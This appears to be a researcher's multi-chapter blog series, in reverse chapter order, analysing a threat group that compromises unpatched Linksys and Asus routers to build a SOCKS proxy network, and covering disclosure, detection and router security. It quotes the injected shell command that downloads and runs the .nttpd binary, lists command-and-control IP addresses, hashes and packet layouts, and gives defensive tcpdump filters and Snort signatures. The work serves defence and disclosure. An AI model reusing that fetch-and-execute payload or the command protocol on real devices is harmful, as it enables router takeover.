Chapter Six: Human hands and human minds

Initially, all I could observe of the QuantumFilament group’s activities was the scanning for and hacking of Linksys and Asus routers. I wondered if the scanning was due to a worm, a program that spreads automatically without human intervention. The scanning and method of infection reminded me of the SQL Slammer worm of 2003.

But careful observation proves that QuantumFilament cyber operations are not just about scanning and infecting routers, and it is not accidental. There are human hands and human minds behind the activity.

  • Purpose. The group of hacked routers are used to do other things. A discussion on these “other things” is saved for a later chapter.
  • Long-term operation. The software programs run on the routers have internal version numbers and update mechanisms. The QF cyber operators built technical mechanisms in the code to check for and track different versions of the same program, and to report these version numbers to the command-and-control servers.
  • Adapts to setbacks. The QF cyber operators reacted to the takedown of their server by switching to different servers, more than once.
  • Redundant communication. The .nttpd loader binary version 14 was programmed to communicate to five different command-and-control servers. The QF group only needed one of the five servers to be accessible in order to fully control their hacked routers.

At minimum, the QF operation has “users” that make use of the anonymity and resources provided by the hacked routers; software developers that write and modify the binary programs run on the routers; and operators to maintain the servers and other hacking infrastructure.

Interlude: Balancing defense and investigation

When I first read the Internet Storm Center post revealing the malware program and IP addresses of the QuantumFilament group, I was concerned. This research depends on the QF group’s continued activities, and I was concerned that such a public disclosure would cause the cyber operators to modify or suspend their activities. As it happened, two times over the next week the servers used by QF were shut down, and both times QF migrated to use different IP addresses.

There are pros and cons to disclosing information about an ongoing cyber operation.

Pros to disclosure

  • Provides technical information to system administrators, who can use the information to prevent or detect attacks against their systems.
  • Educates the professional cyber community on offensive tactics and techniques.
  • Creates the possibility for disperate investigators tracking the same threat group to communicate and collaborate.
  • Makes the cyber threat group work harder, as they have to spend time changing their programs, behavior or network addresses.

Cons to disclosure

  • Puts future investigation at risk, because disclosure puts the threat group on notice they are being monitored. The cyber threat group could modify their methods and operations to make future investigation more difficult and costly. Generally any setbacks–and disclosure is a setback–makes the cyber threat group smarter. Smarter bad guys are harder to investigate and catch.
  • Disclosure often does not protect average Internet users. Shutting down compromised servers is usually just a brief inconvenience, because most professional cyber groups have a practically unlimited supply of systems and IP addresses they can break into, and use to initiate their operations.

Most professional cyber operations have one of two goals: to steal money or to steal information. Relative to the physical world,, stealing money or information in cyberspace has a few distinct advantages:

  • First, the landscape of cyberspace is truly flat. I can just as easily cause trouble around the block as I can cause trouble halfway around the world.
  • Second, the cyber universe is not just flat, but fast too. All computers and devices on the planet that are connected to the Internet can be reached within seconds.
  • Third, its far easier to be anonymous in cyberspace. At minimum it requires some paperwork (through a subpoena) to link a cyber identity to a real world identity. If a person takes steps to mask his cyber identity, it can take a lot more work than that to find his physical identity.
  • And fourth, there is no one unified set of laws, let alone people to enforce these laws, in cyberspace. If I find that computers in China and Bangladesh are stealing my company’s information, I may have a hard time finding the authority and expertise, along with the language expertise and political will, to investigate the case.

Basically if someone is bent on doing bad in cyberspace, he or she can do it quickly, do it to a lot more people at once, and do it anonymously. Stealing money and stealing information over the Internet is actually easy, especially if one doesn’t have a specific target in mind. Given this, there are a lot more criminals and professionals doing bad, than there are professionals and investigators investigating. For most researchers, who have no legal authorities, public disclosure of what they observe is often the only action they can take.

The Internet Storm Center disclosure ended up giving me, the investigator, a unique look at QF’s reaction to a setback, namely the disclosure and elimination of two of the five IP addresses programmed into the loader binary version 14. In the next chapter, I will use this and other behavior to sketch a profile of this group.

Chapter Five: Disclosure, takedown, and dead like a zombie

The SANS Internet Storm Center is a group of cyber security professionals who volunteer their time, monitors security logs, and publishes information to the Internet community. On August 4, Johannes Ullrich published this post discussing the noisy Linksys router scanning of the QuantumFilament (QF) group. It is important to note that the security bug used by QF to break in was disclosed in February 2014, and that anyone can download a copy of some sourcecode over the Internet and try to break in using the same security vulnerability. The QF operations of 2015 may, or may not, be conducted by the same people distributing the Moon worm in 2014.

But software is more unique. I knew Johannes was talking about the group I was tracking because his post mentioned the same iptables firewall rules I found in the .nttpd loader binary. Johannes also identified one of the IP addresses, 109.206.177.16, as being an active facilitator in the activity. Further, Johannes reported this address to the responsible administrators, who “shut down the affected server shortly after being notified”.

My logs indicate the IP address 109.206.177.16 was online and facilitating QF operations until August 4 at 12:17 UTC. Interestingly, this IP briefly made a zombie appearance and was active for 19 minutes the next day, from 11:02 to 11:21 UTC on August 5.

QuantumFilament was not done with this hosting company, Serverel, quite yet. A second IP address, 109.206.186.250, was in the group of five IP addresses programmed into the .nttpd version 14 binary, which was first submitted to VirusTotal in April. This strongly suggests the QF cyber operators have had access to servers at Serverel since April. Beginning at 09:15 UTC August 6, this second IP 109.206.186.250 began to facilitate QF cyber operations, both sending out command and control packets via UDP, and fulfilling download request of additional QF tools over TCP. I made the Internet Storm Center aware of this, and QF cyber operations from 109.206.186.250 ceased at 10:27 UTC on August 10.

In the next post, I will explore the pros and cons of publishing information about ongoing hacking and cyber operations.

Interlude: A few words on home and office routers

Home and office routers are quite useful hardware firewalls, protecting the computers in a home or office from a lot of hostile traffic on the Internet. But most users set up the devices and forget about them. This ignores the fact that a number of vulnerabilities, or security bugs, have been found, and are used by hackers to break in and then do evil. The security of routers are critical, as these devices are gateways into an entire network. A hacked router could copy, redirect, spoof or inject traffic onto the local network, severely compromising the privacy of the users using the network.

It is reasonable to anticipate that severe, or remote execution, vulnerabilities will continue to be discovered in consumer grade routers. But the security of most home routers seems inadequate for the threat. In my experience, a typical consumer grade router has no internal mechanism to detect, or alert users to, unauthorized access or file modification; routers don’t apply firmware updates automatically; and routers alert users to the availability of a firmware update only when users log into the web console.

Manufacturers should consider becoming more proactive to enhance the security of their products, for example, by centralizing security information and resources on their corporate websites, and by making their devices more robust to resist unauthorized modifications. It also seems imperative for device manufacturers to improve security communications with their users. These challenges seem to be technically feasible, if only the manufacturers would put some thought into the effort. One approach might be to prompt users to register an e-mail address to receive information on security updates. There is another approach for notifications that circumvents complications with e-mail. In the U.S., some broadband service providers intercept DNS requests to non-existent domains, and cause the web browser to load a search or marketing webpage instead of letting the browser display its own error. There is typically an opt-out mechanism. Consumer grade router manufacturers should consider using a similar mechanism, intercepting users web requests to report significant notifications such as critical firmware updates.

Chapter Four: Mitigation and Network Detection

In a test on an Asus RT-AC66 router, the programs that QF ran did not restart themselves if the router was rebooted, and the iptables firewall modifications didn’t persist. So a reboot might be a way to get the router into a good state, but an unpatched router will still be vulnerable to exploitation through the existing unpatched vulnerabilities. Also, the QF cyber operators might modify their programs to make the programs harder to get rid of.

If an administrator logs into a compromised router using SSH secure shell or (gasp!) telnet, he might be able to identify recently created files, particularly files beginning with the hidden character “.”. This step, however, is beyond the expertise of most home and office users.

Analysts can use the tcpdump network capture program or the Snort network intrusion detection program to identify network traffic associated with the QF group.

The following BPF/tcpdump filter will identify exploitation attempts against the Asus CVE-2014-9583 vulnerability. It may also identify legitimate Asus traffic, in addition to exploitation attempts by other groups. However in my experience, false positives are minimal. udp dst port 9999 and udp[8:4] = 0x0c153300

Here is a corresponding Snort signature: alert udp any any -> any 9999 (msg:"Possible Asus CVE-2014-9583 Exploit Attempt"; reference:cve,CVE-2014-9583; reference:url,github.com/jduck/asus-cmd; sid:10000000; rev:1; classtype:attempted-admin; pkt_data; content:"|0c 15 33 00|"; nocase; rawbytes; depth:4; )

The following BPF/tcpdump filter will identify a QF-specific command directing a victim to download and execute a binary. Typically, these commands are sent more than once an hour. False positives have been non-existent. udp dst port 4143 and udp[8:4] = 0x1001008f It is easily feasible for the QF threat group to modify their command protocol to evade this detection filter.

Here is a corresponding Snort signature: alert udp any any -> any 4143 (msg:"QuantumFilament C2"; sid:10000001; rev:1; classtype:trojan-activity; pkt_data; content:"|10 01 00 8f|"; nocase; rawbytes; depth:4; )

Its time to digest the material, and perhaps take some action on your local router. At minimum, from time to time users should reboot the router and log into the web console, and then check for firmware updates. In the next post, I will comment on the state of home/office router security. Hint: Its not great.

Chapter Three: Command and Control

After days of hoping and trying, I finally captured a copy of the binary program, a program that the QF cyber operators directed the victim Linksys and Asus routers to run. It turned out that the binary sent by the QF operators at this stage, with MD5 hash 7ca9f378ca7650d79b478595df2d2681, was first submitted to VirusTotal on 30 April. In fact, all the copies of the program used at this stage were identical.

I performed basic strings analysis and identified some firewall rules, and perhaps part of QuantumFilament’s command-and-control (C2) infrastructure. But I couldn’t just stop there. I needed to know what the program did, how it worked. Since I’m not a malware analyst, I hired one.

For brevity, I will call the binary with MD5 hash 7ca9f378ca7650d79b478595df2d2681 the "loader binary, version 14".

I enlisted the services of Nitay Artenstein, a security researcher, to reverse engineer the loader binary, and to document the structure and function of any network packets it sent or received. Mr. Artenstein’s analysis was critical for this research to continue.

Mr. Artenstein found that approximately hourly, the loader binary sent a registration packet to the five hardcoded IP addresses identified in the iptables firewall rules, specifically:

  • 109.206.177.16
  • 50.77.24.41
  • 109.206.186.250
  • 91.217.90.49
  • 91.217.90.19

The reason I call the loader binary version 14 is that there was an internal version number sent in the hourly registration beacon, which was 14 in this binary.

I procured a compatible Asus router (they really are fine routers), ran the captured loader binary on the router, and monitored the network traffic going back and forth. Mr. Artenstein’s analysis helped me to find the relevant traffic, and the recorded traffic filled in some key details like byte order. The two approaches–static analysis and live analysis–proved complementary to getting some answers.

The purpose of the loader binary is to run additional binary programs sent by the QF network. The loader binary listens for inbound network packets on UDP port 4143, like these:

UDP 4143 Command Packet Example 1

UDP 4143 Command Packet Example 2

The 20 byte packets can be divided into five 32-bit words, and have the following structure:

Word Meaning
1 A length byte, a function number, and an authentication byte, always observed to be hex 10 01 00 8f
2 The IP address from which to download the next program, in this case 109.206.177.16. The download connection is made by TCP.
3 The version number of the binary to request, big endian integer.
4 File size, big endian integer
5 The name of the binary to request and run

Two unique ELF binaries have been distributed to the QF network of hacked routers using the above mechanism:

Name,version Size MD5 SHA-1
.sox,15 87724 fdf3f53f1044eb516c5abe85bedf45f6 3e86fdd6e1b8005e541af4c22d3a98b2432f1fd4
.dis,14 86196 7f5c0f1b66276eb9f800a172a43cdb8e 3f6042d3361fdfb0edee1399685b370e2b92cde2

As of post time, neither file’s hashes are found in VirusTotal’s database.

The .sox and .dis programs have not been analyzed in detail. However, based on observed behavior, the .sox binary directs the hacked router to act as a SOCKS proxy, and I theorize the .dis program might be the component that scans for and exploits other routers, adding new hacked routers to QF’s inventory.

So we have established that QF cyber operators break into unpatched Asus and Linksys home and office routers, giving QF the ability to run additional programs on the compromised router. The behavior observed suggests QF uses the routers as SOCKS proxies to hide the origin of network traffic, stealing the router’s owner’s network bandwidth. And the router also tries to find and hack other vulnerable routers.

The next chapter of the story will discuss mitigation and detection.

Chapter Two: The Binary

In a three week period starting in mid-June, my honeypot was exploited 27 times by 25 different IP addresses. It is now known that routers compromised by the QF group are directed to scan and try to exploit additional routers. The 25 IP addresses in this set were not forged or spoofed, because a TCP connection was required to download the next program via wget. Out of the 25 routers that spread the infection during these three weeks, 11 routers were located in the U.S.; three routers were located in Malaysia; two routers were located in Israel; and one router each was located in Australia, Belgium, Bulgaria, India (at a police agency), Macao, Russia, Ukraine and Vietnam.

In each case, the attacking router would first try to exploit a Linksys vulnerability, CVE-2013-5122. When that didn’t work, the same IP address would send the poison packet to UDP port 9999 a few minutes later, a poisoned packet targeting a vulnerability in Asus routers, CVE-2014-9583. The embedded shellscript in the poisoned UDP packet always had the same structure:

sh -c "cd /tmp ; rm -f .nttpd ; wget -O .nttpd http:// [ip] :[port] ; chmod +x .nttpd ; ./.nttpd"

Strangely, most of the time the TCP port designated for the download was port 3344, however 20% of the time the TCP port designated for the download was port 3384.

The first few times I observed a wget command, I attempted to retrieve the file, however the download failed. I concluded that my honeypot had to initiate the download immediately after receiving the poisoned packet.

Downloading the ELF Binary

This was the very first time I retrieved the file. This file was the program the QF group directed the victim to start running. I ran some basic tests on the file to get its hashes and file type.

Test Value
MD5 7ca9f378ca7650d79b478595df2d2681
SHA-1 3541cbece0c80efc172b94cd80f67c94d1122d87
file ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked (uses shared libs), stripped

This file was an executable binary program, intended for the MIPS microarchitecture. So I knew for certain the QF group was targeting, and had programs to run on, embedded devices like routers. The file is databased by VirusTotal and had a detection rate of 2/56 in July. In addition, there is a detailed automated report here.

I am not a malware analyst, but I looked at the ASCII plain text strings in the binary program, and the following strings stood out:

  1. INPUT -p udp --dport %u -j ACCEPT
  2. INPUT -p udp --dport 9999 -j DROP
  3. INPUT -p tcp -m multiport --dport 80,8080 -j DROP
  4. INPUT -s 109.206.177.16 -j ACCEPT
  5. INPUT -s 50.77.24.41 -j ACCEPT
  6. INPUT -s 109.206.186.250 -j ACCEPT
  7. INPUT -s 91.217.90.49 -j ACCEPT
  8. INPUT -s 91.217.90.19 -j ACCEPT

The above strings were fragments of iptables firewall rules. iptables is the firewall used on modern Linux operating systems, including embedded systems.

# Rule Explanation
1 INPUT -p udp --dport %u -j ACCEPT Allowed any traffic destined for one specific UDP port
2 INPUT -p udp --dport 9999 -j DROP Rejected any traffic trying to send data to the vulnerable Asus infosvr service
3 INPUT -p tcp -m multiport --dport 80,8080 -j DROP Rejected any traffic trying to use the router’s web management interface
4 INPUT -s 109.206.177.16 -j ACCEPT Allowed any traffic through the firewall from these five IP addresses
5 INPUT -s 50.77.24.41 -j ACCEPT
6 INPUT -s 109.206.186.250 -j ACCEPT
7 INPUT -s 91.217.90.49 -j ACCEPT
8 INPUT -s 91.217.90.19 -j ACCEPT

It appeared that, if this program was run on a victim router, it would create firewall rules that would block the same ports that QF used to break in originally. Meaning, the QF cyber operators were selfish, once a vulnerable router was found and compromised, QF did not want to share this new resource with anyone else. Also, the firewall rules allowed traffic from five IP addresses. This suggested that these addresses were, at one point in time, under control of the QF cyber operators.

I suspected the program had more functionality, but I would need some assistance to find out what else the program could do.

To be continued in chapter 3…